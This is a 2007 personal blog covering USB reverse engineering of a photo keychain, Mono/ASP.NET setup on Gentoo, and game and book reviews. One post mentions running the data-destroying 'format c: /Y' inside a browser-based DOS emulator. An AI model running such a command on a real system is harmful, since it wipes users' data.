Next step is to recoded it and then add DELETE-ALL functionality, the Windows software can not delete specific files either.


Quick update on the continued USB work
Sat, 21 Jul 2007 22:36:26 BST
Wine is my savior, using snoopypro in wine has made it so easy to see what is going on its is scary. More on that when I have something concrete, although I will say I have found what seems to be the image count !
Just a quick update on the snoopy hacking, did not spend a lot of time on it but I did get it to compile perfectly with my own menu item and to get it to automatically run the "analyze log" and expand all URBs.
Though saying that my win usage preferred the URBs collapsed...


hacking snoopy one step forward
Thu, 19 Jul 2007 21:46:39 BST
OK so that did not go so well, so back to the snoopy.
After adding a few directories to the list that VS6 used and copying the Debug folders to Release it built and ran!!
Now to hack my hacky file dump hack ...
hmmmm seems my visual C++ foo is low, this is complex stuff.


ZUNE - something somehting social  blah
Thu, 19 Jul 2007 21:45:44 BST
So all the work I have been doing *snigger* has paid off, me and all the other devs (mostly contractors) here just got a package.
Inside is a .... brand new, no questions asked Zune !
but the software does not work in Windows 2003 so I am installing winxp in vmware server, which has downloaded over 60 updates !
The Zune itself looks nice (black), with a big screen, I am told the resolution is the same as the smaller screens of the iPod.
First thing that strikes you trying out the default content is the screen needs to be rotated 90 degrees to watch (any) movie but all the menus always require the system to be upright.
Trolling through the provided videos was a pain what with rotating the screen each time to use the menu.
OK, as I was writing this SP2 was downloading and installing, 3 more virtual reboots and over 30 more updates and the Zune software installs, but then blue screens the VM when detecting hardware :(
Got it home onto Sarah's windows XP machine and after about an hour of Zune updates the firmware upgrade seems to be the at the point vmware sank.


trying to hack snoopy
Thu, 19 Jul 2007 21:43:33 BST
I had a simple plan. USBSnoopyPro is the best place to review USB log files and a number of Linux people run WINE just for this reason.
I tried it myself and USBSnoopyPro run fine in WINE. So what was my plan ?
Get the source for snoopyPro and add a hack to dump the tree control to a text file, everybody is happy.
Step 1: get source [x]
Step 2: open project [x] (wants to convert everything to .net, OK)
Step 3: build [-] fails, needs Windows Driver Development Kit, DDK.
Step 4: get DDK 
Step 5: build [-] fails, needs DDK 2000.
Step 6: get DDK2000 [x] turns out you can only get this from MS archives, which I have access too, takes 3 hours to copy.
Step 7: install DDK2000 [-] installs but fails because it needs visual studio 5-6
Step 8: get vmware server, install windows 2000, install visual studio 6, install DDK2000 [x]
its a good thing there is no work actually required at 'work', although I am ready if there ever is.
7 virtual reboots and 2 host restarts later ...
Step 9: shift DDK files around so they can be seen by the build process, adding to include path did not work.
one last error about ml, ...
and then a package arrived. .. ... ..... .......


serious sam II sucks big time!!
Thu, 19 Jul 2007 21:42:32 BST
Serious Sam II sucks!
I loooved the first one, it should be recommended gaming to anyone who enjoys FPS especially the original doom/doom II and quake.
Serious Sam I is serious fun, the fun factor is off the scale, fun clever, loved it.
But SSII is everything SSI was not. It is as if someone in marketing said "Serious Sam sales are really good, lets make a sequel", then the meeting went on with "OK tell me what it was about and I will get a new team on it straight away".
"loads of enemies all the time, odd humor, big guns", "OK, I will have that released to market ASAP".
SSII has loads of enemies all the time, has odd humor and big guns but it has none of the original fun factor.
There are large play areas in SSII like in SSI but there are hidden blocks to stop you going into any of them !
I hate the idea of not completing a game I playing but this is so bad I may just give up.
Avoid Serious Sam II at all costs and if you have not yet played (and completed) Serious Sam the original then what are you waiting for !?


the big USB doh!
Thu, 12 Jul 2007 22:38:30 BST
good news everyone !
I had begun to lose hope with understanding the USB URBs from the digital image keychain, when I contacted this guy asking about his USB exploits.
He mentioned two key things, one: usblogdump loses endpoint identification and two that you can run usbsnoopyPro in WINE to review the data.
So first up I found I had been basing all my assumptions on the all the URBs using endpoint 0, but that was NOT TRUE, doh!
Then I went back to usbsnoopyPro and found it had a heck load more information and better labels than the text dumps, doh!
Armed with this new information I immediately started mapping the use of the endpoints (which I will not bore you with here).
A colleague noticed all the Hex on my screen and enquired what I was doing, I explained and added "I would be better off debugging the windows driver". 
A light went off in my head and I had a poke at the .INF and .SYS files to find references to MR97310, which turns out to be a known chipset in the GPHOTO2 world.
So there are a number of digital cameras using the Mars MR97310 chip that GPHOTO2 can interface too, and GPHOTO2 is well known as a user of libusb.
Although they are not the same the protocol used is very simular, I hope to be able to get the number of pictures in the keyring out very soon.
Oh, and I also found this handy document to aid my understanding of USB.


Audio Jack up at the Lug
Thu, 12 Jul 2007 22:10:49 BST
There was an amazing array of audio equipment at this months lug, from pre-amps to huge fluffy mics to drums and lutes!
David gave a very good demo of the Jack audio system in Linux which allows lots of music programs to connect to each other, from drum machines to sequencers to track makers to equalizers and effects systems.
Not to mention midi controlled keyboard and a cow bell !


Image Display Controller--Mars Semiconductor Corp. V1
Tue, 10 Jul 2007 22:09:15 BST
somewhere in all the URB packets is a message "Image Display Controller--Mars Semiconductor Corp. V1", but this message is in the form " m  a  a  a  a  a  a  a  a  a  a  a  a  a  a  a " for the 'a' in "Image" and then for each letter the first character of the data is the previous character followed by 15 duplicated characters.
Odd ? I have been reading more of the USB spec and it is not giving me the information I want, I am not sure I need any of this, so where are the commands I do want??


USB decoding ABORTS and RESETS
Thu, 05 Jul 2007 22:25:23 BST
After setting the configuration to 0x01 and the interface to 0x00 the stream of URBs run a number of ABORTS followed by a RESET. All this on the default endpoint 0x00
After the pipe is reset we get a proper pipe handle...
Then there are loads of BULK_OR_INTERRUPT_TRANSFER with various flags and settings, definitely polling.
I think I need to read more of the USB spec, even though it is soooo long.


usb decoding
Wed, 04 Jul 2007 22:00:35 BST
Those differing bytes were
00 00
80 00
00 01
80 01
00 02
a8 02
20 03
84 03
ef 03
which appear to be the 9 different configurations shown in the output from lsusb, as I can see a lot of other directly corresponding data.


slashdot submission for tux droid
Wed, 04 Jul 2007 21:34:58 BST
I ac submitted the following to slashdot, will they accept it ?
Tux Droid is finally on available for purchase as your hackable Linux fiendly desktop companion.
Wireless thanks to the fish, he(Tux is a 'he' right?) can talk (TTS), sing (audio streaming), rotate, flap, flash his eyes, react to touch (wing/head) comes with lots of Linux software like an IM announcer, email reader, weather reporter, VOIP and all the software is free (as in beer).
A large community supports both users who want to just plug & play and those who want to rewrite the firmware and create their own Tux Droid applications.
At only 79 euros it even comes with remote control that can act as a talking calculator, but does it run on Windows ? No
see it in action



more USB decoding, 1st ten URBs
Wed, 04 Jul 2007 21:32:21 BST
read more of the USB 2.0 spec and now I know things like "did you know that you can only have seven USB hubs in series" but nothing directly applicable to my project.
On the other hand I did grep the function or the URBs (thats USB packets to you) from my usbsnoopypro logs and nearly all of them are INTERRUPT checks, it seems all the packets are a simple repeated polling.
This was further proved by refining my bash skills and reducing the number of packets that are truly unique to just 138.
But before I tackle the big question I wanted to understand the first ten URBs that are generated when plugging in the device without any software running.
First off there are five distinct communications, one out going and one in coming.
GET_DESCRIPTOR_FROM_DEVICE
GET_DESCRIPTOR_FROM_DEVICE (repeat)
GET_DESCRIPTOR_FROM_DEVICE (different flags set)
SELECT_CONFIGURATION
SELECT_INTERFACE
An interface is a collection of endpoints in a configuration. A good example of a configuration is one with mains power and one without, the device may need to use slower speeds. The interface is like a function of the device, its a bit simplistic but a printer fax could have an interface for the printer and an interface for the fax, these in turn have multiple endpoint which are the options of communicating, i.e. send a message, send large data stream etc.
In the devices response to the third GET_DESCRIPTOR_FROM_DEVICE there was a load of data.
I am sure the USB will (eventually) tell me what it all means but I did note that it was repeating at 58 bytes and that only the 14th/15th bytes changed.


USB spec and eh ?
Tue, 03 Jul 2007 20:47:48 BST
Well I read the Linux Device driver chapter 13 and all it did is reinforce my view of how USB is "supposed" to work. So why did I end up with 65 thousand packets ? 
1500 for a simple connect interrogate number of free slots and disconnect ?
I have also started reading the official USB spec, only 650 pages.
642 to go :)


Book The Skein of Lament Chris Wooding
Mon, 02 Jul 2007 22:00:37 BST
While I am in a bloggy mood here is a book review.
a few years ago I read and enjoyed book one of Chris Wooding's "The Braided Path", so when I saw numbers two and three on amazon I jumped at the chance to continue the fantasy adventure.
"The Skein of Lament" continues Chris's outstanding story telling. I just love the way the story is SO strong and twisted, constantly weaving in and out of what you expect.
If you like fantasy like LotR then this story is for you, I can not wait until I read book three. But will I read it straight away or ponder something else first ?


Serious Sam completed with 150 lives no cheating
Mon, 02 Jul 2007 21:50:51 BST
Delays were also due to "Serious Sam" one of my xbox bargains, but I have now completed that (with 150 lives, no cheating).
Amazing game, I look forward to Serious Sam II which is in my unopened collection somewhere.
This game is seriously stupid, wave upon wave of mindless enemies silly power ups and secrets like the Ed209 that is embedded in a tree or the hidden detonator that destroys half the map.
Love it !


USB device driver 64 thousand files
Mon, 02 Jul 2007 21:47:03 BST
You maybe wondering why no more blogs on my USB project, well its a lot harder than it first appears, but I do not plan on giving up on it any time soon.
I took my 9 snoopy logs (that had been dumped to text) and split each file into a file for each packet.... 64 thousand files later....
A quick bit of Bash and I could half the average number of packets per capture from 3500 to 1800 using diff and missing out the first few lines that had the packet its in.
I found some great USB info in chapter 13 of the Linux Device Drivers, Third Edition
Use the link to openbook to save the entire chapter as a PDF.


9 interface descriptors each with a different bAlternatSetting and a different wMaxPacketSize value
Tue, 26 Jun 2007 21:32:00 BST
Ok I looked at the output from lsusb -v in more detail and it appears that most of it is duplicates.
There are 9 interface descriptors each with a different bAlternatSetting and a different wMaxPacketSize value, these go from 0 - 1007
0
128
256
384
512
680
800
900
1007
Those values are decimal.
There are 7 end points:
2 Bulk IN
2 Bulk OUT
1 Interrupt
2 Isochronous
The 9 interfaces above are on one of the Isochronous endpoints.
Interface descriptors, endpoints, isochronous wassits ?
No I do not really know what I am talking about but maybe as I get further into this project I will find out and let you know.


I hear by claim this device in the name of libusb
Mon, 25 Jun 2007 22:12:34 BST
That quick bit of code worked and I can now claim the device, but now what ?
lsusb -vreturns so much on this one device compared to the keyboard or mouse :S


Doh! those in USB input environments should not rmmod ohci_hcd
Sun, 24 Jun 2007 22:30:26 BST
Plugging and unplugging the KeyPic usb device from my Linux box caused the USB sub system to have an 'issue'. Everything else USB worked but the KeyPix gave read errors and was not even assigned a place in the /proc/bus/usb folders.
Sooo, I rmmod ohci_hcd as I did so I realised that my USB keyboard and mouse may be affected...
Two days later I ssh'd backing to the machine and added the module back in, and my keyboard and mouse were reborn.
Oh, I did try a PS2 keyboard but it would seem that it has to be there at boot as it was not recognised.


Keypic day 4 more strugle and strife
Fri, 22 Jun 2007 22:22:18 BST
Keypic Day 4:  Although its not in the docs 32mb is the limit for the Qemu TFTP server.
Installed the free ZIP program http://www.7-zip.org/ unpacked the usblogdump.tgz and created a new archive that is only 700k, transfers no problem.
Builds no problem, decodes snoopy logs no problem. 
just need to transfer these files out to the host machine surely that will be easy ?
Nope, TFTP server is one way. Windows has SMB shares so SMB should work, nope and all the tutorials are for connecting to Windows as the guest environment.
In the end I get a trial version of winimage and extract the files directly from the Qemu virtual hard disk. I could have also uploaded them to rapidshare, bitbucket etc.
The decoded plain text files are not easy to read and there lots of records, nothing makes and logical sense. For instance connecting the device and firing up the software gives 2000+ packets and all it does is read the number of images already on the device. Try it twice and get a different 2000+ packets.
Still I did find this nugget http://www.linuxjournal.com/article/7466 
USB support does not work for Qemu when windows is the host, so I tried vmware player but the play has no options and I did not want the hassle of the trial version.


keypic digital key ring and log run around
Wed, 20 Jun 2007 22:29:20 BST
Keypic Day3: need to analyse the USB logs from USBSnoopyPro.
One: open in GEdit, nope none ASCII
Two: reload .USBLog files back into snoopy and export as .XML, nope export function is flaker than a popular chocolate found added to ice cream cones.
Three: look for a convert, found USBLogDump. Linux only so install Qemu and DamnSmalLinux.
To get the USBLogDump file to the virtual machine make sure QEMU is run with internal TFTP server enabled, but DSL does not have TFTP client. Find one, downloaded it, no gcc so can not build it.
Add a build environment, build it start downloading the file, times out, set time out try again, times out and has only copied 32MB of a 40MB file. Set timeout to 99999 and go to a meeting at another office, come back 3 hours later, not finished, kill it and its still only 32MB, AGHHHhhhh.....!
Now its to late to load in on to me Gentoo box, maybe tomorrow....


Windows wireless ghost in the keyboard
Wed, 20 Jun 2007 22:18:18 BST
Don't you just love Windows;
I was trying to convince Outlook that there were new mails to download (at work) and the calculator popped up. Odd but I closed it and carried on working.
Then it happened again about ten minutes later and just as I am about to tell the others in the office a new browser window opens.
First thoughts are that the machine has been compromised, but a few checks and all seems well then the machine goes into hibernation.
Now I am really worried, the only thing I had done prior to this was attaching a wireless mouse I had spare at home. But this wireless mouse comes with a wireless keyboard that I had not brought in and I had not plugged in the keyboard part of the receiver. Seems that the wireless receiver had told windows it might handle a keyboard and had setup the "Application keys", you know the extra keys on some keyboards above the F-Keys that open calculator, a new browser window or set the computer to Hibernate.
I tried to install the Belkin drivers to see if that would fix it (they had a mouse only option) but the file said I was not running windows and the web site said they had not been updated since 2002.
Enough people had seen the problem on the internet with a variety of devices, even monitors and the solution was to delete the registry keys for these extra functions.
That done, I had no more calculator or browser pop-ups and the machine did not spontaneously enter hibernation but, now random letters or numbers appeared about once an hour :(
I gave up and brought the keyboard in and now it all works well, so much for the ghost in the machine.


work me like a mule or I will !
Tue, 19 Jun 2007 22:10:09 BST
I mentioned not so long ago that there was no work at my new job.
Well we are into week three now and I have only done what I would call on morning of work and that was helping out someone else as opposed to something assigned to me.
Now do not get me wrong most of the first week revolved around rebuilding machines, installing software, installing updates and configuring applications. Then there was all the security procedure reading I had to do (there was a test) and I had to watch some very cheesy American safety videos.
But leaving me to my own devices (and the other new guy) I did get some time (OK a lot of time) to play with my own ideas.
Idea one, a Vista gadget that was a Kanji date clock, needs some tweaking but this was done then animated and now wants some clever code to make the animation look better.
Idea two: after being forced to use Windows messenger write a drag and drop app to update the personal message.
Done and worked exactly to spec only no one would find it useful as it only saves one second off the task of updating your message and thats if you have the app open.
Phase two write a console version that use a source file and updates periodically. Done, but seems silly to leave a console window open for it and I did not want to have to write a server.
Phase three write a windows app that sits in the system tray and periodically updates the message.
Done. Works with XML, has settings window, custom icon, about window, can set XML file and delay, if file is updated the program notices, saves settings to registry and allows sequential and random movement through the source file.
Not to mention the app I wrote just to do some regular expressions with http://en.wikipedia.org/wiki/List_of_Latin_phrases_%28full%29 to pull and format just the quotes and the translations.
All of these in C#
Idea three: create a nice dual screen backdrop in blender, took about ten mins, just a tube elongated with a smaller transparent version of itself inside and a few lights, very nice ?



KeyPic digital photo key chain day 1 and 2
Tue, 19 Jun 2007 21:51:43 BST
Fathers day: I get (amongst other things) a KeyPic Key Chain http://www.taoelectronics.com/keychain_files/square14.html is it my birthday or something ?
Allows 56 96x64 (4096 colours) images to be uploaded via USB and then plays them back one at a time or as a slideshow.
But does it work with Linux ? hell no!
Day 1: insert device and run dmesg
and all I get is  note about a new device, nothing else 
but it is happily re-charging its on-board battery.
so run lsusb and get ID 093a:02f Pixart Imaging Inc
A quick google shows nothing for the device ID but the manufacturer ID (093a) does show Pixart are responsible for a number of webcam/camera devices.
There website http://www.pixart.com.tw/ has nothing about the keychain or anything remotely simular, I email them but do not expect a response.
Day 2: download the USB capture utility http://usbsnoop.sf.net/ install it onto Sarah's laptop run the windows only software (very limited) and capture loads of logs, starting with connection then issuing commands etc.
Day 3: ...


SEGA! Free the Planet Ring!, so commands your subjects.
Sun, 17 Jun 2007 11:58:49 BST
SEGA! Free the Planet Ring!, so commands your subjects.
http://www.petitiononline.com/pltring/petition.html


Alex is now crawling, my wii is in danger
Sat, 16 Jun 2007 21:36:13 BST
Alex is now crawling, my wii is in danger, not to mention anything else located at floor level.


Steven King Cell 2 out of 5
Tue, 12 Jun 2007 22:22:35 BST
I think I am through with Steven King. I have finished reading Cell and found it just to formulaic (is that a word?).
Not only was it to simular to some of his other work but it felt forced as if he wrote it just because his publisher was pushing him.
It's about a signal that reverts humans back to their primitive state and is transmitted by cell/mobile phones. So far so good, but then, after much in fighting an general gore they start collecting boom boxes, stereos and batteries.
The reasoning for this is that in their simple state, super natural abilities have been unlocked and a 'hive' collective mind has formed.
Then they start invading dreams and floating, hmmmm.
To be fair I have read most of his horror collection and found most to be highly engaging, different and clever, he was due a dud.


Give me work or I will create it !
Sat, 09 Jun 2007 11:27:32 BST
While awaiting access to any systems I could actually work on I wrote a Vista gadget, turns out they are just HTML and JavaScript.
then we uninstalled Vista so I am now using windows server 2003 so I am developing literally in plain old HTML+JavaScript.
Although it currently uses plain text I have started work on the graphics that will make this gadget a Kanji clock, with bottom to top/right to left display.
The next step is to animate the character I had created.
Also everyone uses messenger so I wrote a quick C# app that you can drag and drop text onto that then updates your messenger personal message.


glitch
Wed, 06 Jun 2007 22:23:13 BST
OK I think I have got it this time.
This time I will blame ... learning Japanese, screws with your brain o_O


glitch
Wed, 06 Jun 2007 22:21:19 BST
Hmmm, small glitch not helped by my obsessive playing of serious sam yet another classic xbox game I got cheap and am now hooked on.


we have been on holiday in Cornwall, surprisingly good weather, Alex ate sand, which is always good.
Also I started my new job this week, and it appears I will be working with (not for) Microsoft. I got to pee in a Microsoft toilet today and it was very satisfying ;)


MySQL and mono and GAC
Tue, 22 May 2007 20:36:52 BST
I emerged MySQL and managed to get the inbuilt (out of date) mono MySQL connector to work.
The secret is to use SET PASSWORD FOR 'mysql'@'localhost' = OLD_PASSWORD('mysql');
Where you already had a 'mysql' user created, otherwise you get an error Unhandled Exception: ByteFX.Data.MySqlClient.MySqlException: Client does not support authentication protocol requested by server; consider upgrading MySQL client

Or downgrade to an older (pre 4.1) version of MySQL.
I then tried to get the latest MySQL .NET connector from MySQL only to find the latest one is distributed as an .MSI Microsoft installer file :p
I managed to get the previous version (5.0) in source form that includes the .NET dll, but installing it did not seem to work.
I had to create a bin folder in my current App folder and copy the .DLL in there then reference it directly, the GAC version was never found.
Now to try both those in ASP.NET and then to try and get .NET membership working in both PostgreSql and MySQL.


Psychonauts and Destroy All Humans 2
Tue, 22 May 2007 20:29:32 BST
I had been playing Psychonauts and Destroy All Humans 2, but I have finished them both now.
It is easy to see why Psychonauts got 9/10 from most reviewers and it is a real pity that it came so late in the Xboxs life, most xbox owners will have missed it :(
It took all the best bits from Mario 64/Sunshine and Conkers Bad Fur day, seriously funny and fun !
I also enjoyed Destroy all humans 2, again well thought out, taking the best bits from the first installment and only making it better/more fun.
But I did fail to complete ONE odd job mission and that is because of a bug that meant I could NEVER complete it :( still the rest was very enjoyable.


ASP.NET books
Tue, 22 May 2007 11:01:16 BST
While traveling by train to various interviews I read (speed read) ASP.NET 2.0 Cookbook from OReilly and Build your own ASP.NET 2.0 Web site from Sitepoint.
Both took very different approaches, the Cookbook had handy short recipes that could be expanded on easily and get you out of trouble. The Build you own site was more of a story and was very easy to just read like a book from beginning to end.
The authors concentrated on a single web site with lots of features building up as they went along. This added a lot of logical sense to the proceedings.
Both books handled C# and VB.NET and it was a relief to see that the two languages are so simular especially in the ASP.NET environment.
Both strongly recommended.


Mono plays nicely with PostgreSQL for ASP.NET
Wed, 16 May 2007 15:57:24 GMT
Well installing postgreSQL was pretty easy following this guide http://gentoo-wiki.com/PostgreSQL and as it is a wiki I even added some handy amendments.
The next step is the one I feared the most linking the database to .NET but mono ships with NpgSQL and the C# test they provide on http://gentoo-wiki.com/PostgreSQL is great to test and check its working.
I created an aspx C# test page mirroring the .EXE example but could not create an account to add it to the page. After a quick chat on their IRC channel I posted the code to the documentation mailing list.
Next is to also get MySQL working with mono .NET


Mono compiler errors and xsp2 wants more to change
Sun, 13 May 2007 14:09:53 GMT
When using Mono/xsp2 remember that the .aspx file must change for the new version to be loaded, changing the code behind file is not enough. Took me a few tries to wok that one out.
Also the mono compiler messages are annoyingly vague and being used to having any errors pointed out before trying to load a page hides you from the hand coded runtime compiler errors.
Never mind, it worked in the end, just using XML as a data source still need to investigate the best way to install postgreSQL and MySQL.


Blending key frames for LUG
Sun, 13 May 2007 14:02:51 GMT
I got a chance to follow up the apple blending from last months LUG meeting with a requested look at animation in Blender.
We got through basic key framing, mesh deformation and rigging. It would of helped if after explaining the fundamentals about interpolation (computer generates frames between key frames) that I had remembered to add a key frame each time I changed something.
Never mind, it was overall a success, I just hope it did not bore anyone who was not interested in 3D animation.


Easy peasey getting Linux to run ASP.NET 2.0
Tue, 08 May 2007 20:17:28 GMT
quick broadcast.
Getting ASP.NET running with C# on Linux is as easy as downloading the installer. Then running the installer and choosing the default directory (I tried a custom folder and it went a bit 'funny'), allow the setup to alter your profile to include the path and prepare.
Cos the PATH has been altered you have to start a new shell or source ~/.bashrc
Then gmcs your favorite .NET 2.0 .cs file just to test the 2.0 compiler then mono the .exe produced. That confirms you can build and execute 2.0 .NET programs.
Now one thing I was not happy about was the thought of installing apache and then ASP.NET 2.0 not working, so it is great to see the mono project thought to include the xsp/2 all in ASP.NET 2.0 web server (not for production environments but ideal for testing.
cd [install-path]/lib/xsp/test
xsp2
and the server is running on port 8080 and has a number of example web pages showing the code working.
Now my next task is to get it all to work with MySQL or postgreSQL.


radio silence
Tue, 08 May 2007 09:57:09 GMT
Currently maintaining radio silence.


Steamboy Anime DVD review
Thu, 26 Apr 2007 14:17:10 GMT
It has been sitting on my desk for a while so it is time to quickly review "Steamboy" Anime DVD. 
First up I want to point out that this is the standard edition and was cheap, but that does not excuse the lack of a Japanese voice track, though there is a Hindi one.
The special edition version which includes a book does have a Japanese voice track.
Some of the English voices were not bad, unfortunately the others were. I will be more careful in my Anime selection to ensure the original voice track is included.
Its a bit of an odd tail, a boy who enjoys tinkering with steam powered machines is contacted by his grandfather by post. The package contains a steamball, under huge pressures it could power some huge steam castle ...
The battle is on to recover the steamball and unlock its secrets, empowering the owner to start a war in Victorian England.
Some nice animation, but ultimately long and drawn out. Not recommended.


Ghost retores from 2006, only a year out of date
Thu, 26 Apr 2007 14:07:45 GMT
OK just a quick note, during the Ghost restore process the references to Feb 2006 seemed to match the 2007 dates the machine had gone down.
But in fact the restore point was Feb 2006, no idea why, loads of space left on the drive, good thing I had backed all the C: files I could to an external hard disk first.


windows XP machine ran at 236 degrees ?
Thu, 19 Apr 2007 21:38:52 GMT
I have been busy with Alex and job hunting, but I did try fixing my father in-laws windows XP machine.
First off it would only boot one in five tries, usually hanging at the POST. the Knoppix live CD gave me the memtest86 option so I ran it for a few hours and one of the DIMMs was faulty, so I replaced it.
Machine still had POST hanging problems but they were more consistent, in the end I shorted the CMOS and everything seemed much better, but windows hung on starting, even safe mode hung when selecting the user. But Admin in safe mode worked, tried defrag and it said to run scan disk, scan disk said to restart with the windows CD and run scandisk. Scandisk hung, so I downloaded a live CD with Maxtor's/Seagate's hard drive checker.
The initial screen told me the hard drive had exceeded its heat tolerance at 236 degrees, which is odd cos the other hard drive in the machine said its max temperature was 40 degrees.
The test rand for a while and told me there were 99 errors so I backed up everything from the drive using Knoppix live CD and a USB external hard drive. All went well until I tried to copy the 50gb backup file off the second hard drive.
After 3 days I canceled the copy, it appears that the USB hard drive was NTFS and the source drive was NTFS and large files are not a good way to go with NTFS-3g which is odd cos it had copied a total of 50gb in individual files no problem off the NTFS bad drive to the same USB drive.
Still I bought a new hard drive 350gb for£50 from PC World (very good price for SATA) and whacked it in, now I thought the fun was to begin.
But my father inlaw had Norton Ghost 10 installed so I tried the recovery live CD.
It took along time to boot but after a while it had a basic version of windows running (or it looked like it did) and I just choose find restore points/restore and after about an hour (I had it do a system check) I rebooted and everything was as it was before the original problems, very impressive.


Blending apples at the LUG
Thu, 12 Apr 2007 15:43:16 GMT
I made it to the LUG last night even though I was not feeling 100%. I wanted to go because I was doing a small presentation on Blender the 3d modeling system.
Sometimes we have a projector to help with demos but none was available this week so I took an old 19" monitor but it turns out the laptop I took can only use either the monitor or the LCD not both, but strangely windows was able to show a 800x600 image on the monitor and 1024x768 on the LCD, the monitor then scrolled when I moved the mouse. Maybe I could have configured Xorg, I always thought these laptops did the second monitor in hardware.
I was trying to run Blender in Knoppix 5.1.1 but it was flaky and I ended up using Blender in windows, I think it was because I was running the live CD and then running Blender directly off a USB memory stick.
The demo went well, but the result did not look quite right and I forgot to take the "here is one I created earlier" image, so here is to original "apple storm".
I must have done something right though, I got a free drink and have been invited to do a follow up on Blender animation.
The finale of the evening was a screening of Elephants dream which is impressive but confusing.


Wed, 11 Apr 2007 09:18:41 GMT
When I used to use Debian many years ago, local mail just worked. Any system emails were available by running mutt as the root user.
With Gentoo I get the file dead.letter on both the local user and roots home folders.
Turns out Gentoo does not have any mail stuff installed by default, but a quick emerge of postfix and some config file tampering and now all my system mail can be read in KMail by my local user !
http://gentoo-wiki.com/TIP_Postfix_Setup_for_Local_Mail_Only
http://www.linuxquestions.org/questions/showthread.php?t=542393


dead.letter fix via postfix
Wed, 11 Apr 2007 09:17:32 GMT
When I used to use Debian many years ago, local mail just worked. Any system emails were available by running mutt as the root user.
With Gentoo I get the file dead.letter on both the local user and roots home folders.
Turns out Gentoo does not have any mail stuff installed by default, but a quick emerge of postfix and some config file tampering and now all my system mail can be read in KMail by my local user !
http://gentoo-wiki.com/TIP_Postfix_Setup_for_Local_Mail_Only
http://www.linuxquestions.org/questions/showthread.php?t=542393


Home from the hospital not dead yet
Mon, 09 Apr 2007 22:15:58 GMT
Don't you just love the Easter Holidays ?
Relaxing, watching a DVD, the uncontrolled shivering followed by the inability to breathe.
Well I had had a annoying stomach bug for less than 24 hours what did I expect ?
Not to be carted down the stairs in a dressing gown by paramedics and put on oxygen on the back of an ambulance and rushed (I am proud to say lights and sirens were used) to hospital.
Although I remained conscious all this time I had my eyes closed and my brain seemed to be far away.
I have only a few fleeting memories but it all went down something like this...
Monday-lunch, a nice chicken pasta salad from Marks&Spencers.
18:00 I am on the train home, slight travel sickness, nothing to be concerned about.
19:30 Neighbors come for roast dinner, before it starts I barf up the chicken pasta and feel pretty good.
Tuesday morning, I am sick, nothing out of the ordinary, but I need the day off work and I do not feel like doing much of anything, least of all eat.
But under strict instructions try and drink as much water as possible.
14:00 Wrapped up in bed watching "Steam Boy" Anime DVD (review soon).
15:00 Start to feel cold, worse than normal feverish cold.
15:30 I am shivering uncontrollably, moaning and Sarah is so worried she calls the on-call Doctor.
Before the Doctor gets to the house I start throwing up in an unpleasant manor and 999 is called.
Doctor arrives and after finding my blood pressure low and dropping, contacts the ambulance and asks them to hurry up.
Ambulance crew get me into a wheel chair and carry me downstairs, load me into an ambulance and start me on oxygen.
Not sure what happens but in the next 8 hours I will be x-rayed twice and transfered twice, where was my brain ?
At some point a drip is put in and then continuously replaced for the next 56 hours.
The next day Wednesday is another blur, but I work out I have 12 needle holes in me, from different tests and failed vein sightings.
Apparently when you are as dehydrated as me, all your veins hide.
The drip fails and must be resighted to the other arm, woohoo :(
Thursday and I can start to enjoy the stigma of being branded infectious, private side room, own TV, but sleep through most of it.
I convince the medical staff to remove the drip by drinking and eating everything given to me, but they leave in the cannular (the bit embedded in my arm).
Friday, am finally awake and looking around, tired but alive, still not well enough to be bored.
The ECG sticky pads from A&E are starting to eat my skin, turns out they should have been removed days ago.
Saturday, start to get bored (a sign I am getting better).
Sunday, go home !
Monday, write this.


monster cv calls me all day
Thu, 29 Mar 2007 21:21:28 GMT
I uploaded my cv to monster.co.uk yesterday and I have non stop calls all day today.
After two years of rolling contracts working on various projects its is finally time to move on, well in a couple of weeks.


8086 emulator in Java applet, cool .....
Tue, 27 Mar 2007 20:24:44 GMT
Have you seen the 8086 emulator in a Java applet ?
http://it.slashdot.org/article.pl?sid=07/03/24/1840256 it runs FreeDos and you can play games in it !
I tried format c: /Y and got a blank hard drive, refreshing did not bring it back, I had to exit FireFox and restart it !
I have seen Java applet spectrum emulators before but 8086 is a real achievement.
http://www.spectrum.lovely.net/


RSS feed is fixed for umpteenth time
Tue, 27 Mar 2007 20:19:49 GMT
The rss feed is a mess, I used > redirects instead of >> so bits got over written and then I failed to close the date tags, and its all because of copying and pasting other lines.
Doh !


not dead yet
Tue, 27 Mar 2007 19:45:22 GMT
Well the Doc says its unlikely to be food poisoning, more likely to be a viraliant bug and has put me on super strong anti biotics.
First meal in a week, fish finger sandwiches and boy were they good :p


Ill, no food for four days, urck
Sat, 24 Mar 2007 21:19:36 GMT
I seem to have food poisoning. It all start on Tuesday evening when I felt odd and did not want anything to eat, and if you know me you will know I love to eat.
Then Wednesday morning I lost not only any food I had eaten but my stomach lining as well. No biggie, everyone has upset stomachs once in a while 24-48 hours max, right ? I then slept all day, another unusual thing for me.
Wednesday I could not eat anything, so kept drinking water, Thursday I tried some plain toast, but that did not last long.
Friday and a few plain biscuits survived 2 hours, its now Saturday and I feel like I have not eaten for 4 days, oh wait...
So now I am on rehydration sachets and imodium, the fun never ends ...


rss version 2.0 and time date link fixes
I have updated the rss feed to version 2.0
http://www.rssboard.org/rss-specification
There was also a bug that if the flog processing crossed over a minute boundary then the date for the permeant link was different from that recorded in the tags and the rss feed.
This was because I was using the current date and time at execution
date +"%a, %d %b %Y %H:%M:%S %Z"
a quick change to use a file and everything is fixed.
touch some.file
date -r some.file +"%a, %d %b %Y %H:%M:%S %Z"
still waiting on a nice rss button ...


Mindcandy DVD Vol 2. Amiga Demos Review
I have finally finished mindcandy vol2.
It took over 2 years to create and contains 30 Amiga demos from 1989 to 2004, of which 26 are pre 2000 plus loads of extras and full commentary on each.
Less than half the demos have commentary from the orignal creators and the substitute commenter becomes annoying after a few times, though usually very well informed.
That means I had to watch the 30 tracks twice, once without commentary, to enjoy the music and once with the commentary to try and understand more about the demos. Thats not excluding the excellent party report and informative technical production notes.
This sort of DVD will not be to everyones tastes, but for me, i clearly remember the really old demos and I enjoyed this a lot.
Amiga4Ever!


my title
I had always planned on adding an RSS feed to the flog, but steve bushed me over the edge and suggested the LUG have planet with everyones feeds.
So, if you are lucky, there should be an rss feed here, I will add a nicer link somewhere on the page soon.